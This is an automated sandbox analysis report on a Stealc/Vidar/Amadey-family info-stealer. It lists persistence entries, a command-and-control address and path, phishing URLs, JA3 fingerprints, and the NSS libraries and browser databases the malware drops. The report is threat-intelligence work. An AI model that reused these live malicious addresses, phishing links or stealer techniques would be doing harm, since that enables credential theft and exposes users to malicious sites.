Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:08:01	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
04:09:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
04:09:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
04:09:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
04:09:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
23:09:03	API Interceptor	759x Sleep call for process: explorti.exe modified
23:09:12	API Interceptor	144x Sleep call for process: 53c7d901f1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://multicoinsystemnode.firebaseapp.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Order enquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
sni1gl.wpc.nucdn.net	file.exe	Get hash	malicious	Amadey, Stealc	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
CLOUDFLARENETUS	https://mychaseexclusive.ru/case?token	Get hash	malicious	HTMLPhisher	Browse	172.67.135.236
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	172.64.41.3
	x64__installer___v4.7.5.msi	Get hash	malicious	Unknown	Browse	104.21.8.81
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://uppholldlgins.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://danadompetdigital.zesty.my.id/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.66.47.41
	http://www.uyapdosyasorgula.com/e-devlet/	Get hash	malicious	Unknown	Browse	172.67.132.127
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc	Browse	13.107.246.57
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	http://att-108937.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-100127.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-104325.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
EDGECASTUS	file.exe	Get hash	malicious	Amadey, Stealc	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://mychaseexclusive.ru/case?token	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	40.127.169.103 184.28.90.27
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	40.127.169.103 184.28.90.27
	file.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	https://uppholldlgins.mystrikingly.com/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	https://danadompetdigital.zesty.my.id/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27
	http://www.chacararecantodosol.com.br/wp-admin/js/milissa/swisssa2024/swisscom/index2.php	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27
	http://www.uyapdosyasorgula.com/e-devlet/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHI

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BFHDAEHDAKECGCAKFCFI

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBAEBGH

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCBFHCFCFBFIEBGHJECGHCFI

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJ

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJEBAECGCBKECAAAEBFBGHJJE

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDBFIIEB

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJDGDHIDBGIECBGHJDBAAKJDH

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
